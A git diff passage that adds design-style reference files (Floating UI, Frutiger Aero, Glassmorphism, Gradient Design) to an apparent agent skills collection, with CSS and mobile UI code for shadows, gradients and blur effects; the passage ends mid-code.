a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md new file mode 100644 index 00000000..90972ffe --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md @@ -0,0 +1,299 @@ +--- +name: floating-ui +description: Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Floating UI + +> "Defying gravity. Elements that hover effortlessly above the surface." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Detachment**: UI elements (like nav bars, sidebars, or main content cards) do not touch the edges of the screen. They float with margins on all sides. +2. **Soft, Diffuse Shadows**: Large, highly blurred shadows directly beneath elements. +3. **Pill Shapes & Rounds**: Fully rounded corners (pill shapes) enhance the floating, bubble-like aesthetic. + +## Visual DNA +- **Colors**: **Earth-Grounded Elegance** or **Minimalist Slate**. Use a slightly tinted background (off-white or very light gray) so the floating white elements pop. +- **Typography**: Clean, airy sans-serifs with generous line height. +- **Layout**: The "floating island" pattern for navigation (a pill-shaped nav bar centered at the bottom or top of the screen). + +## Web Implementation +- Focus on large margins and specific shadow styles. +- **CSS Example**: +```css +body { + background-color: var(--bg-primary); /* e.g., #F4F4F9 */ + padding: 24px; /* Ensure nothing touches the edge */ +} + +.floating-nav { + position: fixed; + bottom: 32px; + left: 50%; + transform: translateX(-50%); + background: white; + border-radius: 50px; /* Pill shape */ + padding: 12px 32px; + + /* Large, soft shadow */ + box-shadow: 0 16px 40px rgba(0,0,0,0.08); + + display: flex; + gap: 24px; +} + +.floating-card { + background: white; + border-radius: 24px; + padding: 32px; + margin-bottom: 24px; + box-shadow: 0 10px 30px rgba(0,0,0,0.05); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FloatingUIView: View { + var body: some View { + ZStack { + // Very light background + Color(red: 0.95, green: 0.95, blue: 0.97).ignoresSafeArea() + + ScrollView { + VStack(spacing: 24) { + // Floating Content Card + VStack(alignment: .leading, spacing: 12) { + Text("Floating Card") + .font(.title2).fontWeight(.bold) + Text("This card hovers above the background, with massive soft shadows and completely rounded corners.") + .foregroundColor(.secondary) + } + .padding(32) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Very large radius + // Large, highly blurred shadow + .shadow(color: Color.black.opacity(0.05), radius: 30, x: 0, y: 15) + .padding(.horizontal, 24) // Keeps it detached from edges + } + .padding(.top, 40) + } + + // Floating Pill Navigation + VStack { + Spacer() + HStack(spacing: 40) { + Image(systemName: "house.fill").foregroundColor(.blue) + Image(systemName: "magnifyingglass").foregroundColor(.gray) + Image(systemName: "bell.fill").foregroundColor(.gray) + Image(systemName: "person.fill").foregroundColor(.gray) + } + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.white) + .clipShape(Capsule()) // Pill shape + .shadow(color: Color.black.opacity(0.1), radius: 25, x: 0, y: 10) + .padding(.bottom, 32) // Detached from bottom edge + } + } + } +} +``` +- A `.clipShape(Capsule())` with a massive `.shadow()` creates the perfect floating pill navigation bar. +- Push the `.shadow(radius: ...)` up to 25 or 30 with a very low opacity (0.05) to get the soft, diffuse hover effect. + +### Flutter +```dart +class FloatingUIScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F9), + body: Stack( + children: [ + ListView( + padding: const EdgeInsets.all(24), + children: [ + // Floating Content Card + Container( + margin: const EdgeInsets.only(bottom: 24), + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Large radius + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.05), + blurRadius: 30, + offset: const Offset(0, 15), + ) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Floating Card', style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 12), + Text('This card hovers above the background.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ], + ), + + // Floating Bottom Nav + Align( + alignment: Alignment.bottomCenter, + child: Container( + margin: const EdgeInsets.only(bottom: 32), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(50), // Pill shape + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 25, offset: const Offset(0, 10)) + ], + ), + child: Row( + mainAxisSize: MainAxisSize.min, // Wrap content + children: const [ + Icon(Icons.home, color: Colors.blue), + SizedBox(width: 40), + Icon(Icons.search, color: Colors.grey), + SizedBox(width: 40), + Icon(Icons.person, color: Colors.grey), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Avoid the native `BottomNavigationBar`. Instead, use a `Stack` and `Align(alignment: Alignment.bottomCenter)` with a `Container` to build the floating pill menu. +- Use `blurRadius: 30` in `BoxShadow` for the diffuse look. + +### React Native +```jsx +const FloatingUIScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#F4F4F9' }}> + <ScrollView contentContainerStyle={{ padding: 24 }}> + {/* Floating Card */} + <View style={styles.floatingCard}> + <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 12 }}>Floating Card</Text> + <Text style={{ color: '#666' }}>This card hovers above the background, detached from all edges.</Text> + </View> + </ScrollView> + + {/* Floating Pill Nav */} + <View style={styles.floatingNav}> + <Text style={{ fontSize: 20 }}>🏠</Text> + <Text style={{ fontSize: 20, opacity: 0.5 }}>🔍</Text> + <Text style={{ fontSize: 20, opacity: 0.5 }}>👤</Text> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + floatingCard: { + backgroundColor: '#FFF', + borderRadius: 32, + padding: 32, + marginBottom: 24, + // iOS shadow + shadowColor: '#000', + shadowOffset: { width: 0, height: 15 }, + shadowOpacity: 0.05, + shadowRadius: 30, + // Android shadow + elevation: 8, + }, + floatingNav: { + position: 'absolute', + bottom: 40, + alignSelf: 'center', + flexDirection: 'row', + backgroundColor: '#FFF', + borderRadius: 50, + paddingVertical: 16, + paddingHorizontal: 32, + gap: 40, // Needs RN 0.71+ + + shadowColor: '#000', + shadowOffset: { width: 0, height: 10 }, + shadowOpacity: 0.1, + shadowRadius: 25, + elevation: 10, + } +}); +``` +- `position: 'absolute'` with `alignSelf: 'center'` is the easiest way to place the pill nav in React Native. +- Android's `elevation` doesn't support massive blur radii very well, so the effect is stronger and softer on iOS. + +### Jetpack Compose +```kotlin +@Composable +fun FloatingUIScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F9))) { + Column( + modifier = Modifier + .fillMaxSize() + .padding(24.dp) + ) { + // Floating Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.05f)) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(32.dp) + ) { + Column { + Text("Floating Card", fontSize = 24.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(12.dp)) + Text("This card hovers above the background.", color = Color.Gray) + } + } + } + + // Floating Pill Nav + Row( + modifier = Modifier + .align(Alignment.BottomCenter) + .padding(bottom = 32.dp) + .shadow(20.dp, CircleShape, spotColor = Color.Black.copy(alpha = 0.1f)) + .background(Color.White, CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp), + horizontalArrangement = Arrangement.spacedBy(40.dp) + ) { + Icon(Icons.Default.Home, contentDescription = null, tint = Color.Blue) + Icon(Icons.Default.Search, contentDescription = null, tint = Color.Gray) + Icon(Icons.Default.Person, contentDescription = null, tint = Color.Gray) + } + } +} +``` +- Use `CircleShape` for the pill nav background. +- Crucially, lower the `alpha` of the `spotColor` in `Modifier.shadow` to achieve the soft, diffuse shadow look, otherwise Compose defaults to a harsh, dark shadow. + +## Do's and Don'ts +- **DO**: Animate floating elements! A slow, continuous 2px up/down translateY animation makes them feel truly buoyant. +- **DON'T**: Pin elements to the screen edges (except perhaps background images). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md new file mode 100644 index 00000000..418cc038 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md @@ -0,0 +1,274 @@ +--- +name: frutiger-aero +description: Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Frutiger Aero + +> "The aesthetic of mid-2000s optimism. Glossy plastic, clear water, blue skies, and eco-friendly technology." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Glossy Textures**: Buttons look like polished glass or wet plastic. Extensive use of convex gradients and specular highlights. +2. **Skeuomorphic Nature**: Motifs of green grass, blue skies, water droplets, and bubbles intersecting with sleek glass technology (think Windows Aero or early iOS). +3. **Translucency**: Frosted glass effects, but much more saturated and reflective than modern glassmorphism. + +## Visual DNA +- **Colors**: Cyan, sky blue, lime green, and pure white. Avoid dark themes entirely. +- **Typography**: Clean, highly legible humanist sans-serifs (like the font *Frutiger*, `Segoe UI`, or `Myriad Pro`). +- **Styling**: Drop shadows are deep. Highlights are bright, sharp white lines at the top of buttons. + +## Web Implementation +- Use multiple box-shadows (inset for the gloss, outset for depth) and linear-gradients. +- **CSS Example**: +```css +body { + /* Classic blue sky / green grass gradient */ + background: linear-gradient(to bottom, #87CEEB 0%, #E0F6FF 60%, #98FB98 100%); + font-family: 'Segoe UI', Tahoma, sans-serif; +} + +.aero-btn { + background: linear-gradient(to bottom, #73c8f8 0%, #1583d7 50%, #0361a3 50%, #299eef 100%); + color: white; + border: 1px solid #024b7f; + border-radius: 20px; + padding: 12px 32px; + font-weight: 600; + text-shadow: 0 -1px 1px rgba(0,0,0,0.5); + + /* The Glossy Highlight and Depth */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.8), /* Top edge highlight */ + inset 0 15px 15px rgba(255,255,255,0.3), /* Convex plastic shine */ + 0 4px 6px rgba(0,0,0,0.2); /* Drop shadow */ +} + +.aero-panel { + /* Windows Vista/7 Aero Glass */ + background: rgba(255, 255, 255, 0.4); + backdrop-filter: blur(10px); + border: 1px solid rgba(255, 255, 255, 0.8); + border-top-color: #ffffff; /* Brighter top edge */ + border-radius: 8px; + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FrutigerAeroView: View { + var body: some View { + ZStack { + // Classic sky to grass gradient + LinearGradient( + colors: [Color(hex: "87CEEB"), Color(hex: "E0F6FF"), Color(hex: "98FB98")], + startPoint: .top, endPoint: .bottom + ).ignoresSafeArea() + + // Glossy Button + Button(action: {}) { + Text("Windows Vista") + .font(.headline) + .foregroundColor(.white) + .shadow(color: .black.opacity(0.5), radius: 1, y: -1) // Inset text shadow effect + .padding(.horizontal, 40) + .padding(.vertical, 16) + .background( + // Base gradient + LinearGradient( + stops: [ + .init(color: Color(hex: "73c8f8"), location: 0.0), + .init(color: Color(hex: "1583d7"), location: 0.5), + .init(color: Color(hex: "0361a3"), location: 0.5), // Sharp color stop + .init(color: Color(hex: "299eef"), location: 1.0) + ], + startPoint: .top, endPoint: .bottom + ) + ) + .cornerRadius(25) + .overlay( + // Top white specular highlight + RoundedRectangle(cornerRadius: 25) + .stroke( + LinearGradient(colors: [.white, .clear], startPoint: .top, endPoint: .bottom), + lineWidth: 1.5 + ) + ) + .shadow(color: .black.opacity(0.3), radius: 5, y: 4) + } + } + } +} +// Note: Color(hex:) requires a custom extension in SwiftUI. +``` +- The signature Frutiger Aero "gel" look requires a sharp color transition right in the middle. Set two gradient stops at `0.5` with different colors. +- An `.overlay` with a top-down white-to-clear gradient stroke creates the glass highlight edge. + +### Flutter +```dart +class FrutigerAeroScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + // Sky/Grass background + decoration: const BoxDecoration( + gradient: LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98)], + ), + ), + child: Center( + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(25), + boxShadow: const [BoxShadow(color: Colors.black38, blurRadius: 6, offset: Offset(0, 4))], + // Glossy Gel Button + gradient: const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], // Sharp transition at 50% + colors: [ + Color(0xFF73C8F8), // Light top + Color(0xFF1583D7), // Mid top + Color(0xFF0361A3), // Dark mid (creates the glass horizon) + Color(0xFF299EEF), // Bright bottom reflection + ], + ), + border: Border.all(color: Colors.white.withOpacity(0.5), width: 1), + ), + child: Material( + color: Colors.transparent, + child: InkWell( + borderRadius: BorderRadius.circular(25), + onTap: () {}, + child: const Padding( + padding: EdgeInsets.symmetric(horizontal: 40, vertical: 16), + child: Text( + 'Media Player', + style: TextStyle( + color: Colors.white, + fontWeight: FontWeight.bold, + shadows: [Shadow(color: Colors.black54, offset: Offset(0, -1))], + ), + ), + ), + ), + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `LinearGradient` `stops` array is perfect for this. Providing `0.5` twice creates a hard line that mimics a curved glass reflection. +- Use `Text` shadows with a negative `offset: Offset(0, -1)` to recreate the classic etched-text look of the 2000s. + +### React Native +```jsx +import LinearGradient from 'react-native-linear-gradient'; + +const FrutigerAeroScreen = () => { + return ( + <LinearGradient + colors={['#87CEEB', '#E0F6FF', '#98FB98']} + style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }} + > + <View style={{ + shadowColor: '#000', shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.3, shadowRadius: 5, elevation: 8 + }}> + <LinearGradient + colors={['#73C8F8', '#1583D7', '#0361A3', '#299EEF']} + locations={[0, 0.5, 0.5, 1]} // The sharp glass horizon + style={{ + borderRadius: 25, + paddingVertical: 16, + paddingHorizontal: 40, + borderWidth: 1, + borderColor: 'rgba(255,255,255,0.6)', + borderTopWidth: 2 // Stronger specular highlight on top + }} + > + <Text style={{ + color: '#FFF', + fontWeight: 'bold', + textShadowColor: 'rgba(0,0,0,0.5)', + textShadowOffset: { width: 0, height: -1 }, + textShadowRadius: 1 + }}> + Glossy Button + </Text> + </LinearGradient> + </View> + </LinearGradient> + ); +}; +``` +- `react-native-linear-gradient` supports `locations`. Set them to `[0, 0.5, 0.5, 1]` to create the two-tone convex reflection. +- Setting `borderTopWidth: 2` with a white border color effectively simulates the bright white top-edge highlight of a shiny plastic object. + +### Jetpack Compose +```kotlin +@Composable +fun FrutigerAeroScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background( + Brush.verticalGradient(listOf(Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98))) + ), + contentAlignment = Alignment.Center + ) { + // Glossy Button + val glassBrush = Brush.verticalGradient( + 0.0f to Color(0xFF73C8F8), + 0.49f to Color(0xFF1583D7), + 0.5f to Color(0xFF0361A3), // Sharp reflection line + 1.0f to Color(0xFF299EEF) + ) + + Box( + modifier = Modifier + .shadow(8.dp, RoundedCornerShape(25.dp)) + .background(glassBrush, RoundedCornerShape(25.dp)) + .border( + width = 1.dp, + brush = Brush.verticalGradient(listOf(Color.White, Color.Transparent)), // Top highlight + shape = RoundedCornerShape(25.dp) + ) + .clickable { } + .padding(horizontal = 40.dp, vertical = 16.dp) + ) { + Text( + text = "Eco Tech", + color = Color.White, + fontWeight = FontWeight.Bold, + style = TextStyle( + shadow = Shadow(color = Color.Black.copy(alpha = 0.5f), offset = Offset(0f, -2f), blurRadius = 2f) + ) + ) + } + } +} +``` +- Compose's `Brush.verticalGradient` accepts `vararg colorStops: Pair<Float, Color>`. Use `0.49f` and `0.5f` to create the hard reflection line. +- A gradient border `Modifier.border(brush = ...)` transitioning from White to Transparent perfectly recreates the top-down specular highlight. + +## Do's and Don'ts +- **DO**: Include imagery of lens flares, auroras, or water bubbles if appropriate. +- **DON'T**: Make it flat. Frutiger Aero is the ultimate antithesis of Flat Design. Everything must shine. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md new file mode 100644 index 00000000..e9b26ee3 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md @@ -0,0 +1,272 @@ +--- +name: glassmorphism +description: Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Glassmorphism + +> "Looking through a frosted window. Interfaces that blend seamlessly with vibrant backgrounds." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Background Blur (Backdrop Filter)**: The defining characteristic. Elements blur whatever is underneath them. +2. **Semi-transparent White/Dark Backgrounds**: Panels use rgba() colors to let the background shine through. +3. **Subtle Light Borders**: A 1px semi-transparent white (or light) border to simulate the glass edge catching the light. + +## Visual DNA +- **Colors**: Requires a vibrant or textured background to work (e.g., gradients, abstract meshes, or photos). Works beautifully over **Yacht Club** or **Earth-Grounded Elegance** if there is underlying visual texture. +- **Typography**: Clean, geometric sans-serifs. High contrast text (pure white or pure black) is required for legibility against the glass. +- **Shadows**: Soft, subtle drop shadows to detach the glass pane from the background. + +## Web Implementation +- Rely heavily on `backdrop-filter: blur()`. +- **CSS Example**: +```css +body { + /* Requires a complex background to see the glass effect */ + background: url('abstract-mesh.jpg') cover; +} + +.glass-panel { + background: rgba(255, 255, 255, 0.15); /* Light glass */ + /* OR background: rgba(0, 0, 0, 0.25); for Dark glass */ + + backdrop-filter: blur(16px); + -webkit-backdrop-filter: blur(16px); + + border: 1px solid rgba(255, 255, 255, 0.3); /* The glass edge */ + border-radius: 16px; + box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); + + padding: 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GlassCard: View { + var body: some View { + ZStack { + // Vibrant background required for glass to show + LinearGradient( + colors: [.purple, .blue, .cyan], + startPoint: .topLeading, + endPoint: .bottomTrailing + ) + .ignoresSafeArea() + + // Glass panel + VStack(alignment: .leading, spacing: 16) { + Text("Glass Panel") + .font(.system(size: 22, weight: .semibold)) + .foregroundColor(.white) + Text("Content floating on frosted glass.") + .font(.system(size: 15)) + .foregroundColor(.white.opacity(0.8)) + + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(.ultraThinMaterial) + .cornerRadius(8) + } + } + .padding(24) + .background(.ultraThinMaterial) // Built-in frosted glass + .cornerRadius(16) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(.white.opacity(0.3), lineWidth: 1) // Glass edge highlight + ) + .shadow(color: .black.opacity(0.1), radius: 20, x: 0, y: 10) + .padding(24) + } + } +} +``` +- Use `.ultraThinMaterial`, `.thinMaterial`, `.regularMaterial`, `.thickMaterial` — Apple built glassmorphism natively. +- Add `.overlay(RoundedRectangle().stroke(.white.opacity(0.3)))` for the light edge catch. +- Glass only works if there's a vibrant background visible behind it. + +### Flutter +```dart +class GlassCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Stack( + children: [ + // Vibrant background + Container( + decoration: const BoxDecoration( + gradient: LinearGradient( + colors: [Colors.purple, Colors.blue, Colors.cyan], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + ), + ), + // Glass panel + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(16), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), + borderRadius: BorderRadius.circular(16), + border: Border.all( + color: Colors.white.withOpacity(0.3), + width: 1, + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + blurRadius: 20, + offset: const Offset(0, 10), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Glass Panel', + style: TextStyle(fontSize: 22, fontWeight: FontWeight.w600, + color: Colors.white)), + const SizedBox(height: 16), + Text('Content floating on frosted glass.', + style: TextStyle(fontSize: 15, + color: Colors.white.withOpacity(0.8))), + ], + ), + ), + ), + ), + ), + ], + ); + } +} +``` +- **Critical**: `BackdropFilter` MUST be wrapped in `ClipRRect` — without clipping, the blur applies to the entire screen. +- Use `ImageFilter.blur(sigmaX: 10...20, sigmaY: 10...20)` for the frosted effect. +- Set the container color to `Colors.white.withOpacity(0.1...0.2)` — too opaque kills the glass look. + +### React Native +```jsx +import { BlurView } from '@react-native-community/blur'; + +const GlassCard = () => ( + <View style={{ flex: 1 }}> + {/* Vibrant background */} + <LinearGradient + colors={['#9B59B6', '#3498DB', '#1ABC9C']} + style={StyleSheet.absoluteFill} + /> + + {/* Glass panel */} + <View style={{ + margin: 24, + borderRadius: 16, + overflow: 'hidden', // Required for blur clipping + }}> + <BlurView + blurType="light" + blurAmount={16} + style={{ padding: 24 }} + > + <View style={{ + // Glass border overlay + borderRadius: 16, + borderWidth: 1, + borderColor: 'rgba(255,255,255,0.3)', + }}> + <Text style={{ + fontSize: 22, fontWeight: '600', color: '#FFF', + marginBottom: 16, + }}> + Glass Panel + </Text> + <Text style={{ + fontSize: 15, color: 'rgba(255,255,255,0.8)', + }}> + Content floating on frosted glass. + </Text> + </View> + </BlurView> + </View> + </View> +); +``` +- Install `@react-native-community/blur` — React Native has NO native blur support. +- Wrap the `BlurView` parent in a `View` with `overflow: 'hidden'` and `borderRadius` to clip the blur. +- Use `blurType: 'light'` for light glass, `'dark'` for dark glass, `'chromeMaterial'` for iOS Chrome effect. +- **Android limitation**: `BlurView` performance varies on Android. Test thoroughly. + +### Jetpack Compose +```kotlin +@Composable +fun GlassCard() { + Box(modifier = Modifier.fillMaxSize()) { + // Vibrant background + Box(modifier = Modifier + .fillMaxSize() + .background(Brush.linearGradient( + colors = listOf(Color(0xFF9B59B6), Color(0xFF3498DB), Color(0xFF1ABC9C)), + start = Offset.Zero, + end = Offset.Infinite, + )) + ) + + // Glass panel — Compose lacks native backdrop-filter, + // so use a semi-transparent surface with blur via Modifier.blur() + Card( + modifier = Modifier + .padding(24.dp) + .align(Alignment.Center), + shape = RoundedCornerShape(16.dp), + colors = CardDefaults.cardColors( + containerColor = Color.White.copy(alpha = 0.15f), + ), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.3f)), + elevation = CardDefaults.cardElevation(defaultElevation = 0.dp), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Glass Panel", + fontSize = 22.sp, + fontWeight = FontWeight.SemiBold, + color = Color.White) + Spacer(Modifier.height(16.dp)) + Text("Content floating on frosted glass.", + fontSize = 15.sp, + color = Color.White.copy(alpha = 0.8f)) + } + } + } +} +``` +- **Compose limitation**: True `backdrop-filter` blur doesn't exist natively. Use `Modifier.blur()` (API 31+) on the background, or use `RenderEffect.createBlurEffect()` for lower APIs. +- Use the `haze` library (`dev.chrisbanes.haze`) for proper glassmorphism in Compose — it provides `Modifier.haze()` and `Modifier.hazeChild()`. +- Without native blur, fallback to `Color.White.copy(alpha = 0.15f)` with a strong `border` to simulate the glass edge. + +## Do's and Don'ts +- **DO**: Ensure there is enough contrast between text and the blurred background. Accessibility is often a challenge with this style. +- **DON'T**: Use Glassmorphism on a solid white or solid black background—the effect will be completely invisible. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md new file mode 100644 index 00000000..3aa152b4 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md @@ -0,0 +1,309 @@ +--- +name: gradient-design +description: Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Gradient Design + +> "Color in motion. Fluid transitions that add energy and depth to flat surfaces." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Gradients are the Primary Visual**: Backgrounds, buttons, text, and borders all use gradients instead of solid colors. +2. **Analogous or Complementary Blends**: Gradients must be carefully chosen so the transition colors don't become muddy (e.g., blending red to green creates a muddy brown in the middle. Blend red to yellow to green instead). +3. **Subtle Animation**: Background gradients should slowly shift and rotate. + +## Visual DNA +- **Colors**: **Warm Tech** (blues to oranges) or create custom vibrant pairs (e.g., Purple to Coral, Deep Blue to Cyan). +- **Typography**: Clean, heavy sans-serifs that can be easily masked with a gradient fill. +- **Layout**: Keep the UI structure minimal (glass panels or white/black cards) to let the gradients breathe. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex mesh-like animated gradient */ + background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); + background-size: 400% 400%; + animation: gradientBG 15s ease infinite; + color: #fff; +} + +@keyframes gradientBG { + 0% { background-position: 0% 50%; } + 50% { background-position: 100% 50%; } + 100% { background-position: 0% 50%; } +} + +.gradient-text { + background: linear-gradient(90deg, #F9D423 0%, #FF4E50 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + font-size: 4rem; + font-weight: 900; +} + +.gradient-border-card { + background: #ffffff; + color: #333; + padding: 32px; + border-radius: 12px; + position: relative; + /* Use a pseudo-element for the gradient border */ +} +.gradient-border-card::before { + content: ''; + position: absolute; + top: -3px; left: -3px; right: -3px; bottom: -3px; + background: linear-gradient(90deg, #8A2387, #E94057, #F27121); + z-index: -1; + border-radius: 15px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GradientDesignView: View { + @State private var animateGradient = false + + var body: some View { + ZStack { + // Animated Background Gradient + LinearGradient( + colors: [Color(hex: "ee7752"), Color(hex: "e73c7e"), Color(hex: "23a6d5"), Color(hex: "23d5ab")], + startPoint: animateGradient ? .topLeading : .bottomLeading, + endPoint: animateGradient ? .bottomTrailing : .topTrailing + ) + .ignoresSafeArea() + .onAppear { + withAnimation(.linear(duration: 5.0).repeatForever(autoreverses: true)) { + animateGradient.toggle() + } + } + + VStack(spacing: 40) { + // Gradient Text + Text("VIBRANT") + .font(.system(size: 60, weight: .black)) + .foregroundStyle( + LinearGradient( + colors: [Color(hex: "F9D423"), Color(hex: "FF4E50")], + startPoint: .leading, + endPoint: .trailing + ) + ) + + // Gradient Border Card + Text("Gradient Border") + .padding() + .frame(width: 250, height: 150) + .background(Color.white) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke( + LinearGradient( + colors: [Color(hex: "8A2387"), Color(hex: "E94057"), Color(hex: "F27121")], + startPoint: .leading, endPoint: .trailing + ), + lineWidth: 3 + ) + ) + } + } + } +} +``` +- `.foregroundStyle(LinearGradient(...))` makes gradient text incredibly easy in modern SwiftUI. +- Use `.stroke(LinearGradient(...))` inside an `.overlay` to create gradient borders. + +### Flutter +```dart +class GradientDesignScreen extends StatefulWidget { + @override + State<GradientDesignScreen> createState() => _GradientDesignScreenState(); +} + +class _GradientDesignScreenState extends State<GradientDesignScreen> with SingleTickerProviderStateMixin { + late AnimationController _controller; + late Animation<Alignment> _topAlignment; + late Animation<Alignment> _bottomAlignment; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(reverse: true); + _topAlignment = TweenSequence<Alignment>([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.topLeft, end: Alignment.topRight), weight: 1), + ]).animate(_controller); + _bottomAlignment = TweenSequence<Alignment>([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.bottomRight, end: Alignment.bottomLeft), weight: 1), + ]).animate(_controller); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + body: AnimatedBuilder( + animation: _controller, + builder: (context, _) { + return Container( + width: double.infinity, + decoration: BoxDecoration( + // Animated Background Gradient + gradient: LinearGradient( + begin: _topAlignment.value, + end: _bottomAlignment.value, + colors: const [Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)], + ), + ), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Gradient Text + ShaderMask( + blendMode: BlendMode.srcIn, + shaderCallback: (bounds) => const LinearGradient( + colors: [Color(0xFFF9D423), Color(0xFFFF4E50)], + ).createShader(Rect.fromLTWH(0, 0, bounds.width, bounds.height)), + child: const Text('VIBRANT', 